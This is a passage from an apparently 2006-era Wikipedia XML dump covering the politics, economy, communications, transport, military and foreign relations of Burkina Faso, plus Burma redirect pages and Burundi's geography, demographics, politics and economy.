In February [[1996]], the ruling ODP/MT merged with several small opposition parties to form the [[Congress for Democracy and Progress]] (CDP). This effectively co-opted much of what little viable opposition to Compaoré existed. The remaining opposition parties regrouped in preparation for [[1997]] legislative elections and the [[1998]] presidential election. The 1997 legislative elections, which international observers pronounced to be substantially free, fair, and transparent, resulted in a large CDP majority--101 to 111 seats.

==Executive branch==
{{office-table}}
|[[President of Burkina Faso|President]]
|[[Blaise Compaoré]]
|[[Congress for Democracy and Progress|CDP]]
|[[15 October]] [[1987]]
|-
|[[Prime Minister of Burkina Faso|Prime Minister]]
|[[Paramanga Ernest Yonli]]
|[[Congress for Democracy and Progress|CDP]]
|[[7 November]] [[2000]]
|}
The president is elected by popular vote for a seven-year term and may serve unlimited terms. The prime minister is appointed by the president with the consent of the legislature.

==Legislative branch==
The '''[[National Assembly of Burkina Faso|National Assembly]]''' (''Assemblée Nationale'') has 111 members, elected for a five year term by [[proportional representation]].

==Political parties and elections==
{{elect|List of political parties in Burkina Faso|Elections in Burkina Faso}}
{{Burkina Faso presidential election, 2005}}
{{main|Burkina Faso presidential elections, 2005}}
{{Burkina Faso parliamentary election, 2002}}
{{main|Burkina Faso parliamentary election, 2002}}

==Political pressure groups==
[[Burkinabe General Confederation of Labor]] or CGTB; [[Burkinabe Movement for Human Rights]] or HBDHP; [[Group of 14 February]]; [[National Confederation of Burkinabe Workers]] or CNTB; [[National Organization of Free Unions]] or ONSL; watchdog/political action groups throughout the country in both organizations and communities

==Administrative divisions==
Burkina Faso is divided into 13 regions and 45 provinces: 

'''[[Regions of Burkina Faso|Regions]]''': [[Boucle du Mouhoun Region|Boucle du Mouhoun]], [[Cascades Region|Cascades]], [[Centre Region|Centre]], [[Centre-Est Region|Centre-Est]], [[Centre-Nord Region|Centre-Nord]], [[Centre-Ouest Region|Centre-Ouest]], [[Centre-Sud Region|Centre-Sud]], [[Est Region|Est]], [[Hauts-Bassins Region|Hauts-Bassins]], [[Nord Region|Nord]], [[Plateau-Central Region|Plateau-Central]], [[Sahel Region|Sahel]], [[Sud-Ouest Region|Sud-Ouest]] 

'''[[Provinces of Burkina Faso|Provinces]]''': [[Bale Province, Burkina Faso|Balé]], [[Bam Province|Bam]], [[Banwa]], [[Bazega]], [[Bougouriba]], [[Boulgou]], [[Boulkiemde]], [[Comoe]], [[Ganzourgou]], [[Gnagna]], [[Gourma]], [[Houet]], [[Ioba]], [[Kadiogo]], [[Kenedougou (province)|Kenedougou]], [[Komondjari]], [[Kompienga]], [[Kossi]], [[Koulpelogo]], [[Kouritenga]], [[Kourweogo]], [[Leraba]], [[Loroum]], [[Mouhoun]], [[Namentenga]], [[Nahouri]], [[Nayala]], [[Noumbiel]], [[Oubritenga]], [[Oudalan]], [[Passore]], [[Poni]], [[Sanguie]], [[Sanmatenga]], [[Seno]], [[Sissili]], [[Soum]], [[Sourou]], [[Tapoa]], [[Tuy]], [[Yagha]], [[Yatenga]], [[Ziro Province|Ziro]], [[Zondoma]], [[Zoundweogo]]

==International organization participation==
[[ACCT]], [[ACP (Lomé Convention)|ACP]], [[AfDB]], [[United Nations Economic Commission for Africa|ECA]], [[ECOWAS]], [[Conseil de l'Entente|Entente]], [[Food and Agriculture Organization|FAO]], [[FZ]], [[G-77]], [[International Atomic Energy Agency|IAEA]], [[World Bank|IBRD]], [[International Civil Aviation Organization|ICAO]], [[International Criminal Court|ICC]], [[ICFTU]], [[International Red Cross and Red Crescent Movement|ICRM]], [[International Development Association|IDA]], [[IDB]], [[International Fund for Agricultural Development|IFAD]], [[International Finance Corporation|IFC]], [[International Federation of Red Cross and Red Crescent Societies|IFRCS]], [[International Labour Organization|ILO]], [[International Monetary Fund|IMF]], [[Intelsat]], [[Interpol]], [[International Olympic Committee|IOC]], [[International Telecommunication Union|ITU]], [[Non-Aligned Movement|NAM]], [[Organization of African Unity|OAU]], [[Organization of the Islamic Conference|OIC]], [[Organisation for the Prohibition of Chemical Weapons|OPCW]], [[Permanent Court of Arbitration|PCA]], [[United Nations|UN]], [[United Nations Conference on Trade and Development|UNCTAD]], [[United Nations Educational, Scientific and Cultural Organization|UNESCO]], [[United Nations Industrial Development Organization|UNIDO]], [[Universal Postal Union|UPU]], [[WADB]], WADB (regional), [[WAEMU]], [[World Confederation of Labour|WCL]], [[World Customs Organization|WCO]], [[World Federation of Trade Unions|WFTU]], [[World Health Organization|WHO]], [[World Intellectual Property Organization|WIPO]], [[World Meteorological Organization|WMO]], [[World Tourism Organization|WToO]], [[World Trade Organization|WTrO]]

{{Africa in topic|Politics of}}

[[Category:Burkina Faso]]

[[fr:Politique du Burkina Faso]]
[[pt:Política do Burkina Faso]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of Burkina Faso</title>
    <id>3680</id>
    <revision>
      <id>40360277</id>
      <timestamp>2006-02-20T01:25:17Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">{{Economy of Burkina Faso table}}
[[Burkina Faso]] is one of the poorest countries in the world with an average income per capita of €250 (US$300). More than 80% of the population relies on [[subsistence agriculture]], with only a small fraction directly involved in [[industry]] and [[tertiary sector of industry|services]]. Low rainfall, poor [[soil]]s, lack of adequate communications and other [[infrastructure]], a low literacy rate, and a stagnant economy are all longstanding problems. The [[export]] economy also remains subject to fluctuations in world prices.

Although handicapped by an extremely resource-deprived domestic economy, Burkina remains committed to the [[structural adjustment program]] it launched in [[1991]]. It has largely recovered from the devaluation of the CFA in January [[1994]], with a [[1996]] growth rate of 5.9%.

Many Burkinabe migrate to neighbouring countries for work, and their remittances provide a substantial contribution to the balance of payments. Burkina is attempting to improve the economy by developing its [[mineral]] resources, improving its infrastructure, making its [[agriculture|agricultural and livestock sectors]] more productive and competitive, and stabilizing the supplies and prices of [[cereal]]s.

The agricultural economy remains highly vulnerable to fluctuations in rainfall. The [[Mossi Plateau]] in north central Burkina faces encroachment from the [[Sahara]]. The resultant southward migration means heightened competition for control of very limited [[water resources]] south of the Mossi Plateau. Most of the population ekes out a living as [[subsistence farming|subsistence farmers]], living with problems of climate, [[erosion|soil erosion]], and rudimentary technology. The staple crops are [[millet]], [[sorghum]], [[maize]], and [[rice]]. The cash crops are [[cotton]], [[peanut|groundnuts]], [[Shea nut|karite (shea nuts)]], and [[sesame]]. Livestock, once a major export, has declined.

Industry, still in an embryonic stage, is located primarily in [[Bobo-Dioulasso]], [[Ouagadougou]], [[Banfora]], and [[Koudougou]]. Manufacturing is limited to [[food]] processing, [[textile]]s, and other import substitution heavily protected by [[tariffs]]. Some [[factory|factories]] are privately owned, and others are set to be privatized. Burkina's exploitable natural resources are limited, although a [[manganese]] [[ore]] deposit is located in the remote northeast. [[Gold]] mining has increased greatly since the mid-1980s and, along with cotton, is a leading export moneyearner.

'''Summary:'''
One of the poorest countries in the world, landlocked Burkina Faso has a high population density, few [[natural resource]]s, and a fragile [[soil]]. Approximately 90% of the population is engaged in (mainly subsistence) agriculture which is highly vulnerable to variations in [[rain]]fall. Industry remains dominated by unprofitable government-controlled corporations. Following the African franc currency devaluation in January [[1994]] the government updated its development program in conjunction with international agencies, and exports and economic growth have increased. Maintenance of its [[macroeconomics|macroeconomic]] progress depends on continued low inflation, reduction in the trade deficit, and reforms designed to encourage private investment.


==External links==
*[http://www.cia.gov/cia/publications/factbook/geos/uv.html CIA Factbook]

{{WTO}}

[[Category:WTO members|Burkina Faso]]
[[Category:Burkina Faso]]
[[Category:Economies by country|Burkina Faso|]]
[[Category:African Union member economies|Burkina Faso]]
[[pt:Economia do Burkina Faso]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in Burkina Faso</title>
    <id>3681</id>
    <revision>
      <id>15901996</id>
      <timestamp>2004-10-24T19:15:27Z</timestamp>
      <contributor>
        <username>D6</username>
        <id>75561</id>
      </contributor>
      <minor />
      <comment>adding [[Category:Communications_by_country]]</comment>
      <text xml:space="preserve">'''[[Telephone]]s - main lines in use:'''
30,000 (1995)

'''Telephones - mobile cellular:'''
0 (1995)

'''Telephone system:'''
all services only fair
&lt;br&gt;''domestic:''
microwave radio relay, open wire, and radiotelephone communication stations
&lt;br&gt;''international:''
[[satellite]] earth station - 1 [[Intelsat]] ([[Atlantic Ocean]])

'''[[Radio]] [[broadcasting|broadcast]] stations:'''
AM 2, FM 17, shortwave 1 (1998)

'''Radios:'''
370,000 (1997)

'''[[Television]] broadcast stations:'''
1 (1997)

'''Televisions:'''
100,000 (1997)

'''[[Internet Service Provider]]s (ISPs):'''
1 (1999)

'''[[Country code]]:''' BF

:''See also :'' [[Burkina Faso]]

[[Category:Burkina Faso]]
[[Category:Communications by country|Burkina Faso]]</text>
    </revision>
  </page>
  <page>
    <title>Transport in Burkina Faso</title>
    <id>3682</id>
    <revision>
      <id>39718265</id>
      <timestamp>2006-02-15T10:11:21Z</timestamp>
      <contributor>
        <username>Tabletop</username>
        <id>173687</id>
      </contributor>
      <comment>/* Railway links with adjacent countries */</comment>
      <text xml:space="preserve">{{CIA}}

== Railways ==
&lt;br&gt;''total:''
622 km (517 km from Ouagadougou to the excellent deepwater port at Abidjan, [[Côte d'Ivoire]] (on the border) and 105 km from Ouagadougou to Kaya)
&lt;br&gt;''narrow gauge:''
622 km 1.000-m gauge (1995 est.)

=== Railway links with adjacent countries ===

* [[Transport in Mali|Mali]] - no - same gauge 1000mm
* [[Transport in Niger|Niger]] - no railways
* [[Transport in Benin|Benin]] - no - same gauge 1000mm
* [[Transport in Togo|Togo]] - no - same gauge 1000mm
* [[Transport in Ghana|Ghana]] - no [[break of gauge]] - 1000mm/1067mm
* [[Transport in Côte d'Ivoire|Côte d'Ivoire]] - yes - same gauge 1000mm

=== 2006 ===

An Indian proposal has surfaced to link the railways in Benin and Togo with landlocked Niger and Burkino Faso

== Highways ==
&lt;br&gt;''total:''
12,506 km
&lt;br&gt;''paved:''
2,001 km
&lt;br&gt;''unpaved:''
10,505 km (1996 est.)

== Ports and harbors ==
none

== Airports ==
33 (1999 est.)
Including [[Ouagadougou Airport]]

=== Airports - with paved runways ===
&lt;br&gt;''total:''
2
&lt;br&gt;''over 3,047 m:''
1
&lt;br&gt;''2,438 to 3,047 m:''
1 (1999 est.)

=== Airports - with unpaved runways ===
&lt;br&gt;''total:''
31
&lt;br&gt;''2,438 to 3,047 m:''
1
&lt;br&gt;''1,524 to 2,437 m:''
1
&lt;br&gt;''914 to 1,523 m:''
13
&lt;br&gt;''under 914 m:''
16 (1999 est.)

== See also ==
* [[Burkina Faso]]

{{Africa in topic|Transport in}}

[[Category:Transportation in Burkina Faso| ]]</text>
    </revision>
  </page>
  <page>
    <title>Military of Burkina Faso</title>
    <id>3683</id>
    <revision>
      <id>15901998</id>
      <timestamp>2004-09-20T01:34:00Z</timestamp>
      <contributor>
        <username>Ingoolemo</username>
        <id>71699</id>
      </contributor>
      <minor />
      <comment>categorisation</comment>
      <text xml:space="preserve">'''Military branches:'''
Army, Air Force, National Gendarmerie, National Police, People's Militia

'''Military manpower - availability:'''
&lt;br&gt;''males age 15-49:''
2,688,072 (2002 est.)

'''Military manpower - fit for military service:'''
&lt;br&gt;''males age 15-49:''
1,379,010 (2002 est.)

'''Military expenditures - dollar figure:'''
$40.1 million (FY01)

'''Military expenditures - percent of GDP:'''
1.4% (FY01)

==References and Links==
*[[Burkina Faso]]
[[Category:Burkina Faso]]
[[Category:Militaries|Burkina Faso]]</text>
    </revision>
  </page>
  <page>
    <title>Foreign relations of Burkina Faso</title>
    <id>3684</id>
    <revision>
      <id>37154226</id>
      <timestamp>2006-01-29T01:58:43Z</timestamp>
      <contributor>
        <username>Wikiacc</username>
        <id>84893</id>
      </contributor>
      <minor />
      <comment>{{Africa in topic|Foreign relations of}}</comment>
      <text xml:space="preserve">{{Politics of Burkina Faso}}
[[Burkina Faso]] has excellent relations with [[Europe]]an--including the [[European Union]]--[[North African]], and [[Asian]] countries, which are all active development partners. [[France]], in particular, continues to provide significant aid and supports Compaore's developing role as a regional powerbroker. Compaore has mediated a political crisis in [[Togo]] and helped to resolve the Tuareg conflict in Niger. Several thousand [[Tuareg]] refugees from [[Mali]], who sought protection in Burkina, will be repatriated by the end of [[1997]]. Burkina maintains cordial relations with [[Libya]]. Burkina maintains diplomatic relations with the [[Republic of China]] (usually referred to as &quot;Taiwan&quot;) instead of the [[People's Republic of China]].

19 provinces of Burkina Faso are joined with contiguous areas of Mali and [[Niger]] under the [[Liptako-Gourma Authority]], a regional economic organization.

In response to the drought that plagued the Sahel countries from [[1968]] to [[1974]], the U.S. provided significant emergency food assistance to Burkina Faso. Following this, the United States and other international donors began to work with the Sahel countries to plan and implement long-term development assistance programs.

{{Africa in topic|Foreign relations of}}

[[Category:Burkina Faso]]
[[Category:Foreign relations by country|Burkina Faso]]</text>
    </revision>
  </page>
  <page>
    <title>Burma/History</title>
    <id>3685</id>
    <revision>
      <id>15902000</id>
      <timestamp>2004-01-15T02:07:24Z</timestamp>
      <contributor>
        <username>Jiang</username>
        <id>10049</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[History of Myanmar]]</text>
    </revision>
  </page>
  <page>
    <title>Burma/Geography</title>
    <id>3686</id>
    <revision>
      <id>15902001</id>
      <timestamp>2002-10-10T11:21:26Z</timestamp>
      <contributor>
        <username>Magnus Manske</username>
        <id>4</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Geography of Myanmar]]</comment>
      <text xml:space="preserve">#REDIRECT [[Geography of Myanmar]]</text>
    </revision>
  </page>
  <page>
    <title>Burma/People</title>
    <id>3687</id>
    <revision>
      <id>15902002</id>
      <timestamp>2002-08-20T15:28:14Z</timestamp>
      <contributor>
        <username>Koyaanis Qatsi</username>
        <id>90</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Demographics of Myanmar]]</text>
    </revision>
  </page>
  <page>
    <title>Burma/Government</title>
    <id>3688</id>
    <revision>
      <id>15902003</id>
      <timestamp>2002-10-10T11:21:41Z</timestamp>
      <contributor>
        <username>Magnus Manske</username>
        <id>4</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Politics_of_Myanmar]]</comment>
      <text xml:space="preserve">#REDIRECT [[Politics_of_Myanmar]]</text>
    </revision>
  </page>
  <page>
    <title>Burma/Economy</title>
    <id>3689</id>
    <revision>
      <id>15902004</id>
      <timestamp>2002-10-10T11:21:55Z</timestamp>
      <contributor>
        <username>Magnus Manske</username>
        <id>4</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Economy of Myanmar]]</comment>
      <text xml:space="preserve">#REDIRECT [[Economy of Myanmar]]</text>
    </revision>
  </page>
  <page>
    <title>Burma/Communications</title>
    <id>3690</id>
    <revision>
      <id>15902005</id>
      <timestamp>2002-10-10T11:22:13Z</timestamp>
      <contributor>
        <username>Magnus Manske</username>
        <id>4</id>
      </contributor>
      <minor />
      <comment> #REDIRECT [[Communications_in_Myanmar]]</comment>
      <text xml:space="preserve">#REDIRECT [[Communications_in_Myanmar]]</text>
    </revision>
  </page>
  <page>
    <title>Burma/Transportation</title>
    <id>3691</id>
    <revision>
      <id>24815285</id>
      <timestamp>2005-10-05T14:58:17Z</timestamp>
      <contributor>
        <username>Kbdank71</username>
        <id>197953</id>
      </contributor>
      <comment>fix double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Transport in Myanmar]]</text>
    </revision>
  </page>
  <page>
    <title>Burma/Military</title>
    <id>3692</id>
    <revision>
      <id>15902007</id>
      <timestamp>2002-10-10T11:22:42Z</timestamp>
      <contributor>
        <username>Magnus Manske</username>
        <id>4</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Military_of_Myanmar]]</comment>
      <text xml:space="preserve">#REDIRECT [[Military_of_Myanmar]]</text>
    </revision>
  </page>
  <page>
    <title>Burma/Transnational issues</title>
    <id>3693</id>
    <revision>
      <id>15902008</id>
      <timestamp>2002-10-10T11:23:00Z</timestamp>
      <contributor>
        <username>Magnus Manske</username>
        <id>4</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Foreign_relations_of_Myanmar]]</comment>
      <text xml:space="preserve">#REDIRECT [[Foreign_relations_of_Myanmar]]</text>
    </revision>
  </page>
  <page>
    <title>Burundi/History</title>
    <id>3694</id>
    <revision>
      <id>15902009</id>
      <timestamp>2002-03-04T14:50:06Z</timestamp>
      <contributor>
        <username>LA2</username>
        <id>445</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[History of Burundi]]</text>
    </revision>
  </page>
  <page>
    <title>Geography of Burundi</title>
    <id>3695</id>
    <revision>
      <id>38285175</id>
      <timestamp>2006-02-05T09:00:32Z</timestamp>
      <contributor>
        <ip>81.38.244.2</ip>
      </contributor>
      <comment>[[es:Geografía de Burundi]]</comment>
      <text xml:space="preserve">[[Image:By-map.png|right|Map of Burundi]]
'''Location:'''
Central [[Africa]], east of [[Democratic Republic of the Congo]]

'''Geographic coordinates:'''
{{coor dm|3|30|S|30|0|E|}}

'''Map references:'''
Africa

'''Area:'''
&lt;br&gt;''total:''
27,830 km&amp;sup2;
&lt;br&gt;''land:''
25,650 km&amp;sup2;
&lt;br&gt;''water:''
2,180 km&amp;sup2;

'''Land boundaries:'''
&lt;br&gt;''total:''
974 km
&lt;br&gt;''border countries:''
Democratic Republic of the Congo 233 km, [[Rwanda]] 290 km, [[Tanzania]] 451 km

'''Coastline:'''
0 km (landlocked)

'''Climate:'''
equatorial; high plateau with considerable altitude variation (772 m to 2,670 m); average annual temperature varies with altitude from 23 to 17 degrees Celsius but is generally moderate as the average altitude is about 1,700 m; average annual rainfall is about 1,500 mm; wet seasons from February to May and September to November, and dry seasons from June to August and December to January

'''Terrain:'''
hilly and mountainous, dropping to a plateau in east, some plains

'''Elevation extremes:'''
&lt;br&gt;''lowest point:''
[[Lake Tanganyika]] 772 m
&lt;br&gt;''highest point:''
[[Mount Heha]] 2,670 m

'''Natural resources:'''
nickel, uranium, rare earth oxides, peat, cobalt, copper, platinum (not yet exploited), vanadium, arable land, hydropower

'''Land use:'''
&lt;br&gt;''arable land:''
44%
&lt;br&gt;''permanent crops:''
9%
&lt;br&gt;''permanent pastures:''
36%
&lt;br&gt;''forests and woodland:''
3%
&lt;br&gt;''other:''
8% (1993 est.)

'''Irrigated land:'''
140 km&amp;sup2; (1993 est.)

'''Natural hazards:'''
flooding, landslides

'''Environment - current issues:'''
soil erosion as a result of overgrazing and the expansion of agriculture into marginal lands; deforestation (little forested land remains because of uncontrolled cutting of trees for fuel); habitat loss threatens wildlife populations

'''Environment - international agreements:'''
&lt;br&gt;''party to:''
Biodiversity, Climate Change, Desertification, Endangered Species, Hazardous Wastes, Ozone Layer Protection
&lt;br&gt;''signed, but not ratified:''
Law of the Sea, Nuclear Test Ban

'''Geography - note:'''
landlocked; straddles crest of the [[Nile]]-[[Congo River]] watershed

==See also==
*[[Burundi]]

{{Africa in topic|Geography of}}

[[Category:Geography by country|Burundi]]
[[Category:Geography of Burundi| ]]

[[es:Geografía de Burundi]]
[[pt:Geografia do Burundi]]</text>
    </revision>
  </page>
  <page>
    <title>Demographics of Burundi</title>
    <id>3696</id>
    <revision>
      <id>39374230</id>
      <timestamp>2006-02-12T19:18:35Z</timestamp>
      <contributor>
        <ip>83.121.2.141</ip>
      </contributor>
      <comment>disambiguation from [[FAO]] to [[Food and Agriculture Organization]] by the [[User:DabMachine|DabMachine]]</comment>
      <text xml:space="preserve">[[Image:Burundi-Demography.png|thumb|300px|right|Demographics of Burundi, Data of [[Food and Agriculture Organization|FAO]], year 2005 ; Number of inhabitants in thousands.]]
At 206.1 persons per sq. km., [[Burundi]] has the second-largest [[population density]] in Sub-[[Sahara]]n [[Africa]]. Most people live on [[farm]]s near areas of fertile [[volcanic soil]]. The population is made up of three major [[ethnic group]]s -- [[Bahutu]] (Hutu), [[Batutsi]] or Watusi (Tutsi), and [[Batwa]] (Twa). [[Kirundi language|Kirundi]] is the common language. Intermarriage takes place frequently between the Hutus and Tutsis. The terms &quot;[[pasture|pastoralist]]&quot; and &quot;[[agriculture|agriculturist]],&quot; often used as ethnic designations for Watusi and Bahutu, respectively, are only occupational titles which vary among individuals and groups. Although Hutus encompass the majority of the population, historically Tutsis have been politically and economically dominant. 

==Demographic data from the CIA World Factbook==

===Population===
:6,370,609
:''Note'': estimates for this country explicitly take into account the effects of excess mortality due to AIDS; this can result in lower life expectancy, higher infant mortality and death rates, lower population and growth rates, and changes in the distribution of population by age and sex than would otherwise be expected (July 2005 est.)

===Age structure===
:0-14 years: 46% (male 1,479,941/female 1,450,808)
:15-64 years: 51.3% (male 1,617,864/female 1,653,331)
:65 years and over: 2.6% (male 66,199/female 102,466) (2005 est.)

===Median age===
:Total: 16.6 years
:Male: 16.27 years
:Female: 16.95 years (2005 est.)

===Population growth rate===
:2.22% (2005 est.)

===Birth rate===
:39.66 births/1,000 population (2005 est.)

===Death rate===
:17.43 deaths/1,000 population (2005 est.)

===Net migration rate===
:0 migrant(s)/1,000 population (2005 est.)

===Sex ratio===
:At birth: 1.03 male(s)/female
:Under 15 years: 1.02 male(s)/female
:15-64 years: 0.98 male(s)/female
:65 years and over: 0.65 male(s)/female
:Total population: 0.99 male(s)/female (2005 est.)

===Infant mortality rate===
:Total: 69.29 deaths/1,000 live births
:Male: 75.87 deaths/1,000 live births
:Female: 62.5 deaths/1,000 live births (2005 est.)

===Life expectancy at birth===
:Total population: 43.5 years
:Male: 42.91 years
:Female: 44.12 years (2005 est.)

===Total fertility rate===
:5.81 children born/woman (2005 est.)

===HIV/AIDS===
:Adult prevalence rate: 6% (2003 est.)
:People living with HIV/AIDS: 250,000 (2003 est.)
:Deaths: 25,000 (2003 est.)

===Major infectious diseases===
:Degree of risk: very high
:Food or waterborne diseases: bacterial diarrhea, hepatitis A, and typhoid fever
:Vectorborne disease: malaria (2004)

===Nationality===
:Noun: Burundian(s)
:Adjective: Burundian

===Ethnic groups===
:Hutu (Bantu) 85%, Tutsi (Hamitic) 14%, Twa (Pygmy) 1%, Europeans 3,000, South Asians 2,000

===Religions===
:Christian 67% (Roman Catholic 62%, Protestant 5%), indigenous beliefs 23%, Muslim 10%

===Languages===
:Kirundi (official), French (official), Swahili (along Lake Tanganyika and in the Bujumbura area)

===Literacy===
:Definition: age 15 and over can read and write
:Total population: 51.6%
:Male: 58.5%
:Female: 45.2% (2003 est.)

==References==
{{CIA WFB 2005}}

{{Africa in topic|Demographics of}}

[[Category:Burundi]]
[[Category:Demographics by country|Burundi]]</text>
    </revision>
  </page>
  <page>
    <title>Politics of Burundi</title>
    <id>3697</id>
    <revision>
      <id>35513063</id>
      <timestamp>2006-01-17T07:10:37Z</timestamp>
      <contributor>
        <username>Acntx</username>
        <id>104025</id>
      </contributor>
      <text xml:space="preserve">{{election burundi}}
In November 1995, the presidents of [[Burundi]], [[Rwanda]], [[Uganda]], and [[Zaire]] (currently [[Democratic Republic of Congo]]) announced a regional initiative for a negotiated peace in Burundi facilitated by former Tanzanian President [[Julius Nyerere]]. In July 1996, former Burundian President [[Pierre Buyoya|Buyoya]] returned to power in a bloodless coup. He declared himself president of a transitional republic, even as he suspended the National Assembly, banned opposition groups, and imposed a nationwide curfew. Widespread condemnation of the coup ensued, and regional countries imposed economic sanctions pending a return to a constitutional government. Buyoya agreed in 1996 to liberalize political parties. Nonetheless, fighting between the army and [[Hutu]] militias continued. In June 1998, Buyoya promulgated a transitional constitution and announced a partnership between the government and the opposition-led National Assembly. After facilitator Julius Nyerere's death in October 1999, the regional leaders appointed [[Nelson Mandela]] as [[Facilitator]] of the [[Arusha]] peace process. Under Mandela the peace process has revived and important progress has taken place.
&lt;br&gt;
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&lt;br&gt;
&lt;br&gt;
&lt;br&gt;
&lt;br&gt;
{{CIA}}
'''Principal Government Officials'''&lt;br&gt;
President - see [[Presidents of Burundi]]&lt;br&gt;
First Vice President of the National Assembly&lt;br&gt;
Second Vice President of the National Assembly&lt;br&gt;
Speaker of the National Assembly&lt;br&gt;
Minister of Defense&lt;br&gt;
Minister of External Relations and Cooperation&lt;br&gt;
Minister of Internal Affairs and Security&lt;br&gt;
Ambassador to the United Nations

'''Country name:'''
&lt;br&gt;''conventional long form:''
Republic of Burundi
&lt;br&gt;''conventional short form:''
Burundi
&lt;br&gt;''local long form:''
Republika y'u Burundi
&lt;br&gt;''local short form:''
Burundi

'''Data code:'''
BY

'''Government type:'''
republic

'''Capital:'''
[[Bujumbura]]

'''Administrative divisions:'''
15 provinces; Bubanza, Bujumbura, Bururi, Cankuzo, Cibitoke, Gitega, Karuzi, Kayanza, Kirundo, Makamba, Muramvya, Muyinga, Ngozi, Rutana, Ruyigi
&lt;br&gt;''note:''
there may be a new province named Mwaro

'''Independence:'''
[[1 July]] [[1962]] (from UN trusteeship under Belgian administration)

'''National holiday:'''
Independence Day, [[1 July]] (1962)

'''Constitution:'''
[[13 March]] [[1992]]; provided for establishment of a plural political system; supplanted on [[6 June]] [[1998]] by a Transitional Constitution which enlarged the National Assembly and created two vice presidents

'''Legal system:'''
based on German and Belgian civil codes and customary law; does not accept compulsory ICJ jurisdiction

'''Suffrage:'''
Universal adult; elections under transitional regime not yet held.

'''Executive branch:'''
&lt;br&gt;''chief of state:''
The President; see [[Presidents of Burundi]].
&lt;br&gt;''cabinet:''
Council of Ministers appointed by president

'''Legislative branch:'''
unicameral National Assembly or Assemblee Nationale (121 seats; note - new Transitional Constitution expanded the number of seats from 81 to 121 in 1998; members are elected by popular vote on a proportional basis to serve five-year terms)

'''Judicial branch:'''
Supreme Court or Cour Supreme

'''Political parties and elections'''
Multi-party system introduced after 1998. FRODEBU (the [[Front for Democracy in Burundi]], predominantly Hutu with some Tutsi membership)([[Jean Minani]], president) and UPRONA (the [[National Unity and Progress Party(Burundi)|National Unity and Progress Party]], predominantly Tutsi with some Hutu membership) ([[Luc Rukingama]], president), are national, mainstream parties. Other Tutsi and Hutu opposition parties and groups include, among others, PARENA (the Party for National Redress, Tutsi), ABASA (the Burundi African Alliance for the Salvation, Tutsi), PRP (the People's Reconciliation Party, Tutsi), CNDD/FDD (the National Council for the Defense of Democracy/Front for the Defense of Democracy, now consisting of two groups, Hutu), PALIPEHUTU (the Party for the Liberation of the Hutu People, Hutu) and FROLINA/FAP (the Front for the National Liberation of Burundi/Popular Armed Forces, Hutu).
&lt;br&gt;''note:''
opposition parties, legalized in March 1992, include Burundi African Alliance for the Salvation or ABASA [leader NA]; Rally for Democracy and Economic and Social Development or RADDES [Cyrille SIGEJEJE, chairman]; Party for National Redress or PARENA [Jean-Baptiste BAGAZA]; Socialist Party of Burundi or PSB [leader NA]; People's Reconciliation Party or PRP [leader NA]
{{Burundi National Assembly election, 2005}}
{{Burundi Senate election, 2005}}

'''Political pressure groups and leaders:'''
Loosely organized Tutsi militias

'''International organization participation:'''
ACCT, ACP, AfDB, CCC, CEEAC, CEPGL, ECA, FAO, G-77, IBRD, ICAO, ICRM, IDA, IFAD, IFC, IFRCS, ILO, IMF, Intelsat (nonsignatory user), Interpol, IOC, ITU, NAM, OAU, OPCW, UN, UNCTAD, UNESCO, UNIDO, UPU, WHO, WIPO, WMO, WToO, WTrO

'''Flag description:''' The [[flag of Burundi]] is divided by a white diagonal cross into red panels (top and bottom) and green panels (hoist side and outer side) with a white disk superimposed at the center bearing three red six-pointed stars outlined in green arranged in a triangular design (one star above, two stars below)

:''See also :'' [[Burundi]]
{{Africa in topic|Politics of}}
[[Category:Burundi]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of Burundi</title>
    <id>3698</id>
    <revision>
      <id>38981706</id>
      <timestamp>2006-02-09T22:49:34Z</timestamp>
      <contributor>
        <username>Briaboru</username>
        <id>284038</id>
      </contributor>
      <text xml:space="preserve">{{CIA}}{{Economy of Burundi table}}
'''Burundi''' is a [[landlocked]], resource-poor country with an underdeveloped manufacturing sector.  The mainstay of the Burundian economy is [[agriculture]], accounting for 58% of [[Gross domestic product|GDP]] in [[1997]]. Agriculture supports more than 90% of the labour force, the majority of whom are subsistence farmers. Although Burundi is potentially self-sufficient in food production, the ongoing civil war, [[overpopulation]], and [[soil erosion]] have contributed to the contraction of the subsistence economy by 25% in recent years. Large numbers of [[internally displaced person]]s have been unable to produce their own food and are largely dependent on international humanitarian assistance. Burundi is a net food importer, with food accounting for 17% of imports in 1997.

The main [[cash crop]] is [[coffee]], which accounted for 78.5% of exports in 1997. This dependence on coffee has increased Burundi's vulnerability to seasonal yields and international coffee prices. Coffee is the largest state-owned enterprise. In recent years, the government has tried to attract private investment to this sector, with some success. Efforts to privatize other publicly held enterprises have stalled. Other principal exports include tea and raw cotton.

Little industry exists except the processing of agricultural exports. Although potential wealth in [[petroleum]], [[nickel]], [[copper]], and other natural resources is being explored, the uncertain security situation has prevented meaningful investor interest. Industrial development also is hampered by Burundi's distance from the sea and high transport costs. [[Lake Tanganyika]] remains an important trading point. The trade [[embargo]], lifted in 1999, negatively impacted trade and industry.  Since October 1993 the nation has suffered from massive ethnic-based violence which has resulted in the death of perhaps 250,000 persons and the displacement of about 800,000 others. Foods, medicines, and electricity remain in short supply.

Burundi is heavily dependent on bilateral and multilateral aid, with external debt totalling $1.247 [[billion]] (1.247 G$) in 1997. A series of largely unsuccessful 5-year plans initiated in July 1986 in partnership with the World Bank and the International Monetary Fund attempted to reform the foreign exchange system, liberalize imports, reduce restrictions on international transactions, diversify exports, and reform the coffee industry.

IMF structural adjustment programs in Burundi were suspended following the outbreak of the crisis in 1993. The World Bank has identified key areas for potential growth, including the productivity of traditional crops and the introduction of new exports, light manufactures, industrial mining, and services. Other serious problems include the state's role in the economy, the question of governmental transparency, and debt reduction.

